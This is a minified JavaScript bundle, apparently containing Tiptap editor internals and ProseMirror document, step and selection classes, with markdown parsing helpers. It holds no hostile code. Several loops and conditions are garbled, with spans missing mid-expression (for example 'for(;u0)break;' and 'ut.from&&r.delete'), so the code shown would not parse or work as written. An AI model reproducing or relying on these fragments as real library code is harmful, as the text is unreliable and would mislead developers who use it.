nk({editor:this})}createSchema(){this.schema=this.extensionManager.schema}createDoc(){let e;try{e=q1(this.options.content,this.schema,this.options.parseOptions,{errorOnInvalidContent:this.options.enableContentCheck})}catch(t){if(!(t instanceof Error)||!["[tiptap error]: Invalid JSON content","[tiptap error]: Invalid HTML content"].includes(t.message))throw t;this.emit("contentError",{editor:this,error:t,disableCollaboration:()=>{"collaboration"in this.storage&&typeof this.storage.collaboration=="object"&&this.storage.collaboration&&(this.storage.collaboration.isDisabled=!0),this.options.extensions=this.options.extensions.filter(n=>n.name!=="collaboration"),this.createExtensionManager()}}),e=q1(this.options.content,this.schema,this.options.parseOptions,{errorOnInvalidContent:!1})}return e}createView(e){const{editorProps:t,enableExtensionDispatchTransaction:n}=this.options,i=t.dispatchTransaction||this.dispatchTransaction.bind(this),r=n?this.extensionManager.dispatchTransaction(i):i,o=t.transformPastedHTML,a=this.extensionManager.transformPastedHTML(o);this.editorView=new KP(e,{...t,attributes:{role:"textbox",...t==null?void 0:t.attributes},dispatchTransaction:r,transformPastedHTML:a,state:this.editorState,markViews:this.extensionManager.markViews,nodeViews:this.extensionManager.nodeViews});const c=this.state.reconfigure({plugins:this.extensionManager.plugins});this.view.updateState(c),this.prependClass(),this.injectCSS();const l=this.view.dom;l.editor=this}createNodeViews(){this.view.isDestroyed||this.view.setProps({markViews:this.extensionManager.markViews,nodeViews:this.extensionManager.nodeViews})}prependClass(){this.view.dom.className=`${this.className} ${this.view.dom.className}`}captureTransaction(e){this.isCapturingTransaction=!0,e(),this.isCapturingTransaction=!1;const t=this.capturedTransaction;return this.capturedTransaction=null,t}dispatchTransaction(e){if(this.view.isDestroyed)return;if(this.isCapturingTransaction){if(!this.capturedTransaction){this.capturedTransaction=e;return}e.steps.forEach(u=>{var h;return(h=this.capturedTransaction)==null?void 0:h.step(u)});return}const{state:t,transactions:n}=this.state.applyTransaction(e),i=!this.state.selection.eq(t.selection),r=n.includes(e),o=this.state;if(this.emit("beforeTransaction",{editor:this,transaction:e,nextState:t}),!r)return;this.view.updateState(t),this.emit("transaction",{editor:this,transaction:e,appendedTransactions:n.slice(1)}),i&&this.emit("selectionUpdate",{editor:this,transaction:e});const a=n.findLast(u=>u.getMeta("focus")||u.getMeta("blur")),c=a==null?void 0:a.getMeta("focus"),l=a==null?void 0:a.getMeta("blur");c&&this.emit("focus",{editor:this,event:c.event,transaction:a}),l&&this.emit("blur",{editor:this,event:l.event,transaction:a}),!(e.getMeta("preventUpdate")||!n.some(u=>u.docChanged)||o.doc.eq(t.doc))&&this.emit("update",{editor:this,transaction:e,appendedTransactions:n.slice(1)})}getAttributes(e){return cO(this.state,e)}isActive(e,t){const n=typeof e=="string"?e:null,i=typeof e=="string"?t:e;return Eq(this.state,n,i)}getJSON(){return this.state.doc.toJSON()}getHTML(){return $E(this.state.doc.content,this.schema)}getText(e){const{blockSeparator:t=` + +`,textSerializers:n={}}=e||{};return Sq(this.state.doc,{blockSeparator:t,textSerializers:{...lO(this.schema),...n}})}get isEmpty(){return ty(this.state.doc)}destroy(){this.destroyed||(this.destroyed=!0,this.emit("destroy"),this.unmount(),this.removeAllListeners(),this.extensionManager.destroy(),this.extensionManager=null,this.schema=null,this.commandManager=null,this.extensionStorage={})}get isDestroyed(){var e,t;return(t=(e=this.editorView)==null?void 0:e.isDestroyed)!=null?t:!0}$node(e,t){var n;return((n=this.$doc)==null?void 0:n.querySelector(e,t))||null}$nodes(e,t){var n;return((n=this.$doc)==null?void 0:n.querySelectorAll(e,t))||null}$pos(e){const t=this.state.doc.resolve(e),n=e>0&&t.nodeAfter&&!t.nodeAfter.isText?t.nodeAfter:null;return new hK(t,this,!1,n)}get $doc(){return this.$pos(0)}};function nm(s){return new ok({find:s.find,handler:({state:e,range:t,match:n})=>{const i=ns(s.getAttributes,void 0,n);if(i===!1||i===null)return null;const{tr:r}=e,o=n[n.length-1],a=n[0];if(o){const c=a.search(/\S/),l=t.from+a.indexOf(o),u=l+o.length;if(HE(t.from,t.to,e.doc).filter(p=>p.mark.type.excluded.find(v=>v===s.type&&v!==p.mark.type)).filter(p=>p.to>l).length)return null;ut.from&&r.delete(t.from+c,l);const d=t.from+c+o.length;r.addMark(t.from+c,d,s.type.create(i||{})),r.removeStoredMark(s.type)}},undoable:s.undoable})}function pK(s){return new ok({find:s.find,handler:({state:e,range:t,match:n})=>{const i=ns(s.getAttributes,void 0,n)||{},{tr:r}=e,o=t.from;let a=t.to;const c=s.type.create(i);if(n[1]){const l=n[0].lastIndexOf(n[1]);let u=o+l;u>a?u=a:a=u+n[1].length;const h=n[0][n[0].length-1];r.insertText(h,o+n[0].length-1),r.replaceWith(u,a,c)}else if(n[0]){const l=s.type.isInline?o:o-1;r.insert(l,s.type.create(i)).delete(r.mapping.map(o),r.mapping.map(a))}r.scrollIntoView()},undoable:s.undoable})}function Q1(s){return new ok({find:s.find,handler:({state:e,range:t,match:n})=>{const i=e.doc.resolve(t.from),r=ns(s.getAttributes,void 0,n)||{};if(!i.node(-1).canReplaceWith(i.index(-1),i.indexAfter(-1),s.type))return null;e.tr.delete(t.from,t.to).setBlockType(t.from,t.from,s.type,r)},undoable:s.undoable})}function im(s){return new ok({find:s.find,handler:({state:e,range:t,match:n,chain:i})=>{const r=ns(s.getAttributes,void 0,n)||{},o=e.tr.delete(t.from,t.to),c=o.doc.resolve(t.from).blockRange(),l=c&&SE(c,s.type,r);if(!l)return null;if(o.wrap(c,l),s.keepMarks&&s.editor){const{selection:h,storedMarks:d}=e,{splittableMarks:p}=s.editor.extensionManager,m=d||h.$to.parentOffset&&h.$from.marks();if(m){const v=m.filter(g=>p.includes(g.type.name));o.ensureMarks(v)}}if(s.keepAttributes){const h=s.type.name==="bulletList"||s.type.name==="orderedList"?"listItem":"taskList";i().updateAttributes(h,r).run()}const u=o.doc.resolve(t.from-1).nodeBefore;u&&u.type===s.type&&dh(o.doc,t.from-1)&&(!s.joinPredicate||s.joinPredicate(n,u))&&o.join(t.from-1)},undoable:s.undoable})}function gK(s,e){const{selection:t}=s,{$from:n}=t;if(t instanceof vt){const r=n.index();return n.parent.canReplaceWith(r,r+1,e)}let i=n.depth;for(;i>=0;){const r=n.index(i);if(n.node(i).contentMatchAt(r).matchType(e))return!0;i-=1}return!1}function mK(s){return s.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&")}var vK={};DE(vK,{createAtomBlockMarkdownSpec:()=>yK,createBlockMarkdownSpec:()=>bK,createInlineMarkdownSpec:()=>xO,parseAttributes:()=>WE,parseIndentedBlocks:()=>X1,renderNestedMarkdownContent:()=>jE,serializeAttributes:()=>zE});function WE(s){if(!(s!=null&&s.trim()))return{};const e={},t=[],n=s.replace(/["']([^"']*)["']/g,l=>(t.push(l),`__QUOTED_${t.length-1}__`)),i=n.match(/(?:^|\s)\.([a-zA-Z][\w-]*)/g);if(i){const l=i.map(u=>u.trim().slice(1));e.class=l.join(" ")}const r=n.match(/(?:^|\s)#([a-zA-Z][\w-]*)/);r&&(e.id=r[1]);const o=/([a-zA-Z][\w-]*)\s*=\s*(__QUOTED_\d+__)/g;Array.from(n.matchAll(o)).forEach(([,l,u])=>{var h;const d=parseInt(((h=u.match(/__QUOTED_(\d+)__/))==null?void 0:h[1])||"0",10),p=t[d];p&&(e[l]=p.slice(1,-1))});const c=n.replace(/(?:^|\s)\.([a-zA-Z][\w-]*)/g,"").replace(/(?:^|\s)#([a-zA-Z][\w-]*)/g,"").replace(/([a-zA-Z][\w-]*)\s*=\s*__QUOTED_\d+__/g,"").trim();return c&&c.split(/\s+/).filter(Boolean).forEach(u=>{u.match(/^[a-zA-Z][\w-]*$/)&&(e[u]=!0)}),e}function zE(s){if(!s||Object.keys(s).length===0)return"";const e=[];return s.class&&String(s.class).split(/\s+/).filter(Boolean).forEach(n=>e.push(`.${n}`)),s.id&&e.push(`#${s.id}`),Object.entries(s).forEach(([t,n])=>{t==="class"||t==="id"||(n===!0?e.push(t):n!==!1&&n!=null&&e.push(`${t}="${String(n)}"`))}),e.join(" ")}function yK(s){const{nodeName:e,name:t,parseAttributes:n=WE,serializeAttributes:i=zE,defaultAttributes:r={},requiredAttributes:o=[],allowedAttributes:a}=s,c=t||e,l=u=>{if(!a)return u;const h={};return a.forEach(d=>{d in u&&(h[d]=u[d])}),h};return{parseMarkdown:(u,h)=>{const d={...r,...u.attributes};return h.createNode(e,d,[])},markdownTokenizer:{name:e,level:"block",start(u){var h;const d=new RegExp(`^:::${c}(?:\\s|$)`,"m"),p=(h=u.match(d))==null?void 0:h.index;return p!==void 0?p:-1},tokenize(u,h,d){const p=new RegExp(`^:::${c}(?:\\s+\\{([^}]*)\\})?\\s*:::(?:\\n|$)`),m=u.match(p);if(!m)return;const v=m[1]||"",g=n(v);if(!o.find(b=>!(b in g)))return{type:e,raw:m[0],attributes:g}}},renderMarkdown:u=>{const h=l(u.attrs||{}),d=i(h),p=d?` {${d}}`:"";return`:::${c}${p} :::`}}}function bK(s){const{nodeName:e,name:t,getContent:n,parseAttributes:i=WE,serializeAttributes:r=zE,defaultAttributes:o={},content:a="block",allowedAttributes:c}=s,l=t||e,u=h=>{if(!c)return h;const d={};return c.forEach(p=>{p in h&&(d[p]=h[p])}),d};return{parseMarkdown:(h,d)=>{let p;if(n){const v=n(h);p=typeof v=="string"?[{type:"text",text:v}]:v}else a==="block"?p=d.parseChildren(h.tokens||[]):p=d.parseInline(h.tokens||[]);const m={...o,...h.attributes};return d.createNode(e,m,p)},markdownTokenizer:{name:e,level:"block",start(h){var d;const p=new RegExp(`^:::${l}`,"m"),m=(d=h.match(p))==null?void 0:d.index;return m!==void 0?m:-1},tokenize(h,d,p){var m;const v=new RegExp(`^:::${l}(?:\\s+\\{([^}]*)\\})?\\s*\\n`),g=h.match(v);if(!g)return;const[y,b=""]=g,_=i(b);let w=1;const S=y.length;let C="";const T=/^:::([\w-]*)(\s.*)?/gm,k=h.slice(S);for(T.lastIndex=0;;){const A=T.exec(k);if(A===null)break;const M=A.index,R=A[1];if(!((m=A[2])!=null&&m.endsWith(":::"))){if(R)w+=1;else if(w-=1,w===0){const P=k.slice(0,M);C=P.trim();const L=h.slice(0,S+M+A[0].length);let z=[];if(C)if(a==="block")for(z=p.blockTokens(P),z.forEach(Q=>{Q.text&&(!Q.tokens||Q.tokens.length===0)&&(Q.tokens=p.inlineTokens(Q.text))});z.length>0;){const Q=z[z.length-1];if(Q.type==="paragraph"&&(!Q.text||Q.text.trim()===""))z.pop();else break}else z=p.inlineTokens(C);return{type:e,raw:L,attributes:_,content:C,tokens:z}}}}}},renderMarkdown:(h,d)=>{const p=u(h.attrs||{}),m=r(p),v=m?` {${m}}`:"",g=d.renderChildren(h.content||[],` + +`);return`:::${l}${v} + +${g} + +:::`}}}function _K(s){if(!s.trim())return{};const e={},t=/(\w+)=(?:"([^"]*)"|'([^']*)')/g;let n=t.exec(s);for(;n!==null;){const[,i,r,o]=n;e[i]=r||o,n=t.exec(s)}return e}function SK(s){return Object.entries(s).filter(([,e])=>e!=null).map(([e,t])=>`${e}="${t}"`).join(" ")}function xO(s){const{nodeName:e,name:t,getContent:n,parseAttributes:i=_K,serializeAttributes:r=SK,defaultAttributes:o={},selfClosing:a=!1,allowedAttributes:c}=s,l=t||e,u=d=>{if(!c)return d;const p={};return c.forEach(m=>{const v=typeof m=="string"?m:m.name,g=typeof m=="string"?void 0:m.skipIfDefault;if(v in d){const y=d[v];if(g!==void 0&&y===g)return;p[v]=y}}),p},h=l.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");return{parseMarkdown:(d,p)=>{const m={...o,...d.attributes};if(a)return p.createNode(e,m);const v=n?n(d):d.content||"";return v?p.createNode(e,m,[p.createTextNode(v)]):p.createNode(e,m,[])},markdownTokenizer:{name:e,level:"inline",start(d){const p=a?new RegExp(`\\[${h}\\s*[^\\]]*\\]`):new RegExp(`\\[${h}\\s*[^\\]]*\\][\\s\\S]*?\\[\\/${h}\\]`),m=d.match(p),v=m==null?void 0:m.index;return v!==void 0?v:-1},tokenize(d,p,m){const v=a?new RegExp(`^\\[${h}\\s*([^\\]]*)\\]`):new RegExp(`^\\[${h}\\s*([^\\]]*)\\]([\\s\\S]*?)\\[\\/${h}\\]`),g=d.match(v);if(!g)return;let y="",b="";if(a){const[,w]=g;b=w}else{const[,w,S]=g;b=w,y=S||""}const _=i(b.trim());return{type:e,raw:g[0],content:y.trim(),attributes:_}}},renderMarkdown:d=>{let p="";n?p=n(d):d.content&&d.content.length>0&&(p=d.content.filter(y=>y.type==="text").map(y=>y.text).join(""));const m=u(d.attrs||{}),v=r(m),g=v?` ${v}`:"";return a?`[${l}${g}]`:`[${l}${g}]${p}[/${l}]`}}}function X1(s,e,t){var n,i,r,o;const a=s.split(` +`),c=[];let l="",u=0;const h=e.baseIndentSize||2;for(;u0)break;if(d.trim()===""){u+=1,l=`${l}${d} +`;continue}else return}const m=e.extractItemData(p),{indentLevel:v,mainContent:g}=m;l=`${l}${d} +`;const y=[g];for(u+=1;uM.trim()!=="");if(T===-1)break;if((((i=(n=a[u+1+T].match(/^(\s*)/))==null?void 0:n[1])==null?void 0:i.length)||0)>v){y.push(S),l=`${l}${S} +`,u+=1;continue}else break}if((((o=(r=S.match(/^(\s*)/))==null?void 0:r[1])==null?void 0:o.length)||0)>v)y.push(S),l=`${l}${S} +`,u+=1;else break}let b;const _=y.slice(1);if(_.length>0){const S=_.map(C=>C.slice(v+h)).join(` +`);S.trim()&&(e.customNestedParser?b=e.customNestedParser(S):b=t.blockTokens(S))}const w=e.createToken(m,b);c.push(w)}if(c.length!==0)return{items:c,raw:l}}function jE(s,e,t,n){if(!s||!Array.isArray(s.content))return"";const i=typeof t=="function"?t(n):t,[r,...o]=s.content,a=e.renderChildren([r]);let c=`${i}${a}`;return o&&o.length>0&&o.forEach((l,u)=>{var h,d;const p=(d=(h=e.renderChild)==null?void 0:h.call(e,l,u+1))!=null?d:e.renderChildren([l]);if(p!=null){const m=p.split(` +`).map(v=>v?e.indent(v):e.indent("")).join(` +`);c+=l.type==="paragraph"?` + +${m}`:` +${m}`}}),c}function wK(s,e,t={}){const{state:n}=e,{doc:i,tr:r}=n,o=s;i.descendants((a,c)=>{const l=r.mapping.map(c),u=r.mapping.map(c)+a.nodeSize;let h=null;if(a.marks.forEach(p=>{if(p!==o)return!1;h=p}),!h)return;let d=!1;if(Object.keys(t).forEach(p=>{t[p]!==h.attrs[p]&&(d=!0)}),d){const p=s.type.create({...s.attrs,...t});r.removeMark(l,u,s.type),r.addMark(l,u,p)}}),r.docChanged&&e.view.dispatch(r)}var Sr=class IO extends UE{constructor(){super(...arguments),this.type="node"}static create(e={}){const t=typeof e=="function"?e():e;return new IO(t)}configure(e){return super.configure(e)}extend(e){const t=typeof e=="function"?e():e;return super.extend(t)}};function xf(s){return new rK({find:s.find,handler:({state:e,range:t,match:n,pasteEvent:i})=>{const r=ns(s.getAttributes,void 0,n,i);if(r===!1||r===null)return null;const{tr:o}=e,a=n[n.length-1],c=n[0];let l=t.to;if(a){const u=c.search(/\S/),h=t.from+c.indexOf(a),d=h+a.length;if(HE(t.from,t.to,e.doc).filter(v=>v.mark.type.excluded.find(y=>y===s.type&&y!==v.mark.type)).filter(v=>v.to>h).length)return null;dt.from&&o.delete(t.from+u,h),l=t.from+u+a.length,o.addMark(t.from+u,l,s.type.create(r||{})),n.index!==void 0&&n.input!==void 0&&n.index+n[0].length>=n.input.length||o.removeStoredMark(s.type)}}})}function fI(s){return RF((e,t)=>({get(){return e(),s},set(n){s=n,requestAnimationFrame(()=>{requestAnimationFrame(()=>{t()})})}}))}var kK=class extends fK{constructor(s={}){return super(s),this.contentComponent=null,this.appContext=null,this.reactiveState=fI(this.view.state),this.reactiveExtensionStorage=fI(this.extensionStorage),this.on("beforeTransaction",({nextState:e})=>{this.reactiveState.value=e,this.reactiveExtensionStorage.value=this.extensionStorage}),rE(this)}get state(){return this.reactiveState?this.reactiveState.value:this.view.state}get storage(){return this.reactiveExtensionStorage?this.reactiveExtensionStorage.value:super.storage}registerPlugin(s,e){const t=super.registerPlugin(s,e);return this.reactiveState&&(this.reactiveState.value=t),t}unregisterPlugin(s){const e=super.unregisterPlugin(s);return this.reactiveState&&e&&(this.reactiveState.value=e),e}},CK=at({name:"EditorContent",props:{editor:{default:null,type:Object}},setup(s){const e=pe(),t=LF();return b2(()=>{const n=s.editor;n&&n.options.element&&e.value&&ft(()=>{var i;if(!e.value||!((i=n.view.dom)!=null&&i.parentNode))return;const r=We(e.value);e.value.append(...n.view.dom.parentNode.childNodes),n.contentComponent=t.ctx._,t&&(n.appContext={...t.appContext,provides:t.provides}),n.setOptions({element:r}),n.createNodeViews()})}),xn(()=>{const n=s.editor;n&&(n.contentComponent=null,n.appContext=null)}),{rootEl:e}},render(){return xF("div",{ref:s=>{this.rootEl=s}})}}),TK=(s={})=>{const e=IF();return Cn(()=>{e.value=new kK(s)}),xn(()=>{var t;(t=e.value)==null||t.destroy()}),e},Lw=(s,e)=>{if(s==="slot")return 0;if(s instanceof Function)return s(e);const{children:t,...n}=e??{};if(s==="svg")throw new Error("SVG elements are not supported in the JSX syntax, use the array syntax instead");return[s,n,t]};function RO(s,e,t){for(let n=0;;n++){if(n==s.childCount||n==e.childCount)return s.childCount==e.childCount?null:t;let i=s.child(n),r=e.child(n);if(i==r){t+=i.nodeSize;continue}if(!i.sameMarkup(r))return t;if(i.isText&&i.text!=r.text){for(let o=0;i.text[o]==r.text[o];o++)t++;return t}if(i.content.size||r.content.size){let o=RO(i.content,r.content,t+1);if(o!=null)return o}t+=i.nodeSize}}function LO(s,e,t,n){for(let i=s.childCount,r=e.childCount;;){if(i==0||r==0)return i==r?null:{a:t,b:n};let o=s.child(--i),a=e.child(--r),c=o.nodeSize;if(o==a){t-=c,n-=c;continue}if(!o.sameMarkup(a))return{a:t,b:n};if(o.isText&&o.text!=a.text){let l=0,u=Math.min(o.text.length,a.text.length);for(;le&&n(c,i+a,r||null,o)!==!1&&c.content.size){let u=a+1;c.nodesBetween(Math.max(0,e-u),Math.min(c.content.size,t-u),n,i+u)}a=l}}descendants(e){this.nodesBetween(0,this.size,e)}textBetween(e,t,n,i){let r="",o=!0;return this.nodesBetween(e,t,(a,c)=>{let l=a.isText?a.text.slice(Math.max(e,c)-c,t-c):a.isLeaf?i?typeof i=="function"?i(a):i:a.type.spec.leafText?a.type.spec.leafText(a):"":"";a.isBlock&&(a.isLeaf&&l||a.isTextblock)&&n&&(o?o=!1:r+=n),r+=l},0),r}append(e){if(!e.size)return this;if(!this.size)return e;let t=this.lastChild,n=e.firstChild,i=this.content.slice(),r=0;for(t.isText&&t.sameMarkup(n)&&(i[i.length-1]=t.withText(t.text+n.text),r=1);re)for(let r=0,o=0;oe&&((ot)&&(a.isText?a=a.cut(Math.max(0,e-o),Math.min(a.text.length,t-o)):a=a.cut(Math.max(0,e-o-1),Math.min(a.content.size,t-o-1))),n.push(a),i+=a.nodeSize),o=c}return new Fi(n,i)}cutByIndex(e,t){return e==t?Fi.empty:e==0&&t==this.content.length?this:new Fi(this.content.slice(e,t))}replaceChild(e,t){let n=this.content[e];if(n==t)return this;let i=this.content.slice(),r=this.size+t.nodeSize-n.nodeSize;return i[e]=t,new Fi(i,r)}addToStart(e){return new Fi([e].concat(this.content),this.size+e.nodeSize)}addToEnd(e){return new Fi(this.content.concat(e),this.size+e.nodeSize)}eq(e){if(this.content.length!=e.content.length)return!1;for(let t=0;tthis.size||e<0)throw new RangeError(`Position ${e} outside of fragment (${this})`);for(let t=0,n=0;;t++){let i=this.child(t),r=n+i.nodeSize;if(r>=e)return r==e?O_(t+1,r):O_(t,n);n=r}}toString(){return"<"+this.toStringInner()+">"}toStringInner(){return this.content.join(", ")}toJSON(){return this.content.length?this.content.map(e=>e.toJSON()):null}static fromJSON(e,t){if(!t)return Fi.empty;if(!Array.isArray(t))throw new RangeError("Invalid input for Fragment.fromJSON");return Fi.fromArray(t.map(e.nodeFromJSON))}static fromArray(e){if(!e.length)return Fi.empty;let t,n=0;for(let i=0;i0&&(e.openStart=this.openStart),this.openEnd>0&&(e.openEnd=this.openEnd),e}static fromJSON(e,t){if(!t)return op.empty;let n=t.openStart||0,i=t.openEnd||0;if(typeof n!="number"||typeof i!="number")throw new RangeError("Invalid input for Slice.fromJSON");return new op(Ac.fromJSON(e,t.content),n,i)}static maxOpen(e,t=!0){let n=0,i=0;for(let r=e.firstChild;r&&!r.isLeaf&&(t||!r.type.spec.isolating);r=r.firstChild)n++;for(let r=e.lastChild;r&&!r.isLeaf&&(t||!r.type.spec.isolating);r=r.lastChild)i++;return new op(e,n,i)}};bn.empty=new bn(Ac.empty,0,0);function PO(s,e,t){let{index:n,offset:i}=s.findIndex(e),r=s.maybeChild(n),{index:o,offset:a}=s.findIndex(t);if(i==e||r.isText){if(a!=t&&!s.child(o).isText)throw new RangeError("Removing non-flat range");return s.cut(0,e).append(s.cut(t))}if(n!=o)throw new RangeError("Removing non-flat range");return s.replaceChild(n,r.copy(PO(r.content,e-i-1,t-i-1)))}function OO(s,e,t,n,i,r){let{index:o,offset:a}=s.findIndex(e),c=s.maybeChild(o);if(a==e||c.isText)return r&&n<=0&&i<=0&&!r.canReplace(o,o,t)?null:s.cut(0,e).append(t).append(s.cut(e));let l=OO(c.content,e-a-1,t,o==0?n-1:0,o==s.childCount-1?i-1:0,c);return l&&s.replaceChild(o,c.copy(l))}var DO=65535,NO=Math.pow(2,16);function EK(s,e){return s+e*NO}function pI(s){return s&DO}function MK(s){return(s-(s&DO))/NO}var BO=1,FO=2,mS=4,$O=8,gI=class{constructor(s,e,t){this.pos=s,this.delInfo=e,this.recover=t}get deleted(){return(this.delInfo&$O)>0}get deletedBefore(){return(this.delInfo&(BO|mS))>0}get deletedAfter(){return(this.delInfo&(FO|mS))>0}get deletedAcross(){return(this.delInfo&mS)>0}},If=class ap{constructor(e,t=!1){if(this.ranges=e,this.inverted=t,!e.length&&ap.empty)return ap.empty}recover(e){let t=0,n=pI(e);if(!this.inverted)for(let i=0;ie)break;let l=this.ranges[a+r],u=this.ranges[a+o],h=c+l;if(e<=h){let d=l?e==c?-1:e==h?1:t:t,p=c+i+(d<0?0:u);if(n)return p;let m=e==(t<0?c:h)?null:EK(a/3,e-c),v=e==c?FO:e==h?BO:mS;return(t<0?e!=c:e!=h)&&(v|=$O),new gI(p,v,m)}i+=u-l}return n?e+i:new gI(e+i,0,null)}touches(e,t){let n=0,i=pI(t),r=this.inverted?2:1,o=this.inverted?1:2;for(let a=0;ae)break;let l=this.ranges[a+r],u=c+l;if(e<=u&&a==i*3)return!0;n+=this.ranges[a+o]-l}return!1}forEach(e){let t=this.inverted?2:1,n=this.inverted?1:2;for(let i=0,r=0;i!o.isAtom||!a.type.allowsMarkType(this.mark.type)?o:o.mark(this.mark.addToSet(o.marks)),i),t.openStart,t.openEnd);return Yi.fromReplace(e,this.from,this.to,r)}invert(){return new UO(this.from,this.to,this.mark)}map(e){let t=e.mapResult(this.from,1),n=e.mapResult(this.to,-1);return t.deleted&&n.deleted||t.pos>=n.pos?null:new Wm(t.pos,n.pos,this.mark)}merge(e){return e instanceof Wm&&e.mark.eq(this.mark)&&this.from<=e.to&&this.to>=e.from?new Wm(Math.min(this.from,e.from),Math.max(this.to,e.to),this.mark):null}toJSON(){return{stepType:"addMark",mark:this.mark.toJSON(),from:this.from,to:this.to}}static fromJSON(e,t){if(typeof t.from!="number"||typeof t.to!="number")throw new RangeError("Invalid input for AddMarkStep.fromJSON");return new Wm(t.from,t.to,e.markFromJSON(t.mark))}};Oi.jsonID("addMark",HO);var UO=class zm extends Oi{constructor(e,t,n){super(),this.from=e,this.to=t,this.mark=n}apply(e){let t=e.slice(this.from,this.to),n=new bn(VE(t.content,i=>i.mark(this.mark.removeFromSet(i.marks)),e),t.openStart,t.openEnd);return Yi.fromReplace(e,this.from,this.to,n)}invert(){return new HO(this.from,this.to,this.mark)}map(e){let t=e.mapResult(this.from,1),n=e.mapResult(this.to,-1);return t.deleted&&n.deleted||t.pos>=n.pos?null:new zm(t.pos,n.pos,this.mark)}merge(e){return e instanceof zm&&e.mark.eq(this.mark)&&this.from<=e.to&&this.to>=e.from?new zm(Math.min(this.from,e.from),Math.max(this.to,e.to),this.mark):null}toJSON(){return{stepType:"removeMark",mark:this.mark.toJSON(),from:this.from,to:this.to}}static fromJSON(e,t){if(typeof t.from!="number"||typeof t.to!="number")throw new RangeError("Invalid input for RemoveMarkStep.fromJSON");return new zm(t.from,t.to,e.markFromJSON(t.mark))}};Oi.jsonID("removeMark",UO);var WO=class jm extends Oi{constructor(e,t){super(),this.pos=e,this.mark=t}apply(e){let t=e.nodeAt(this.pos);if(!t)return Yi.fail("No node at mark step's position");let n=t.type.create(t.attrs,null,this.mark.addToSet(t.marks));return Yi.fromReplace(e,this.pos,this.pos+1,new bn(Ac.from(n),0,t.isLeaf?0:1))}invert(e){let t=e.nodeAt(this.pos);if(t){let n=this.mark.addToSet(t.marks);if(n.length==t.marks.length){for(let i=0;in.pos?null:new vS(t.pos,n.pos,i,r,this.slice,this.insert,this.structure)}toJSON(){let e={stepType:"replaceAround",from:this.from,to:this.to,gapFrom:this.gapFrom,gapTo:this.gapTo,insert:this.insert};return this.slice.size&&(e.slice=this.slice.toJSON()),this.structure&&(e.structure=!0),e}static fromJSON(e,t){if(typeof t.from!="number"||typeof t.to!="number"||typeof t.gapFrom!="number"||typeof t.gapTo!="number"||typeof t.insert!="number")throw new RangeError("Invalid input for ReplaceAroundStep.fromJSON");return new vS(t.from,t.to,t.gapFrom,t.gapTo,bn.fromJSON(e,t.slice),t.insert,!!t.structure)}};Oi.jsonID("replaceAround",jO);function J1(s,e,t){let n=s.resolve(e),i=t-e,r=n.depth;for(;i>0&&r>0&&n.indexAfter(r)==n.node(r).childCount;)r--,i--;if(i>0){let o=n.node(r).maybeChild(n.indexAfter(r));for(;i>0;){if(!o||o.isLeaf)return!0;o=o.firstChild,i--}}return!1}var xK=class yS extends Oi{constructor(e,t,n){super(),this.pos=e,this.attr=t,this.value=n}apply(e){let t=e.nodeAt(this.pos);if(!t)return Yi.fail("No node at attribute step's position");let n=Object.create(null);for(let r in t.attrs)n[r]=t.attrs[r];n[this.attr]=this.value;let i=t.type.create(n,null,t.marks);return Yi.fromReplace(e,this.pos,this.pos+1,new bn(Ac.from(i),0,t.isLeaf?0:1))}getMap(){return If.empty}invert(e){return new yS(this.pos,this.attr,e.nodeAt(this.pos).attrs[this.attr])}map(e){let t=e.mapResult(this.pos,1);return t.deletedAfter?null:new yS(t.pos,this.attr,this.value)}toJSON(){return{stepType:"attr",pos:this.pos,attr:this.attr,value:this.value}}static fromJSON(e,t){if(typeof t.pos!="number"||typeof t.attr!="string")throw new RangeError("Invalid input for AttrStep.fromJSON");return new yS(t.pos,t.attr,t.value)}};Oi.jsonID("attr",xK);var IK=class Z1 extends Oi{constructor(e,t){super(),this.attr=e,this.value=t}apply(e){let t=Object.create(null);for(let i in e.attrs)t[i]=e.attrs[i];t[this.attr]=this.value;let n=e.type.create(t,e.content,e.marks);return Yi.ok(n)}getMap(){return If.empty}invert(e){return new Z1(this.attr,e.attrs[this.attr])}map(e){return this}toJSON(){return{stepType:"docAttr",attr:this.attr,value:this.value}}static fromJSON(e,t){if(typeof t.attr!="string")throw new RangeError("Invalid input for DocAttrStep.fromJSON");return new Z1(t.attr,t.value)}};Oi.jsonID("docAttr",IK);var sy=class extends Error{};sy=function s(e){let t=Error.call(this,e);return t.__proto__=s.prototype,t};sy.prototype=Object.create(Error.prototype);sy.prototype.constructor=sy;sy.prototype.name="TransformError";var TC=Object.create(null),Qn=class{constructor(s,e,t){this.$anchor=s,this.$head=e,this.ranges=t||[new RK(s.min(e),s.max(e))]}get anchor(){return this.$anchor.pos}get head(){return this.$head.pos}get from(){return this.$from.pos}get to(){return this.$to.pos}get $from(){return this.ranges[0].$from}get $to(){return this.ranges[0].$to}get empty(){let s=this.ranges;for(let e=0;e=0;i--){let r=e<0?lp(s.node(0),s.node(i),s.before(i+1),s.index(i),e,t):lp(s.node(0),s.node(i),s.after(i+1),s.index(i)+1,e,t);if(r)return r}return null}static near(s,e=1){return this.findFrom(s,e)||this.findFrom(s,-e)||new Rv(s.node(0))}static atStart(s){return lp(s,s,0,0,1)||new Rv(s)}static atEnd(s){return lp(s,s,s.content.size,s.childCount,-1)||new Rv(s)}static fromJSON(s,e){if(!e||!e.type)throw new RangeError("Invalid input for Selection.fromJSON");let t=TC[e.type];if(!t)throw new RangeError(`No selection type ${e.type} defined`);return t.fromJSON(s,e)}static jsonID(s,e){if(s in TC)throw new RangeError("Duplicate use of selection JSON ID "+s);return TC[s]=e,e.prototype.jsonID=s,e}getBookmark(){return rm.between(this.$anchor,this.$head).getBookmark()}};Qn.prototype.visible=!0;var RK=class{constructor(s,e){this.$from=s,this.$to=e}},mI=!1;function vI(s){!mI&&!s.parent.inlineContent&&(mI=!0,console.warn("TextSelection endpoint not pointing into a node with inline content ("+s.parent.type.name+")"))}var rm=class Vm extends Qn{constructor(e,t=e){vI(e),vI(t),super(e,t)}get $cursor(){return this.$anchor.pos==this.$head.pos?this.$head:null}map(e,t){let n=e.resolve(t.map(this.head));if(!n.parent.inlineContent)return Qn.near(n);let i=e.resolve(t.map(this.anchor));return new Vm(i.parent.inlineContent?i:n,n)}replace(e,t=bn.empty){if(super.replace(e,t),t==bn.empty){let n=this.$from.marksAcross(this.$to);n&&e.ensureMarks(n)}}eq(e){return e instanceof Vm&&e.anchor==this.anchor&&e.head==this.head}getBookmark(){return new VO(this.anchor,this.head)}toJSON(){return{type:"text",anchor:this.anchor,head:this.head}}static fromJSON(e,t){if(typeof 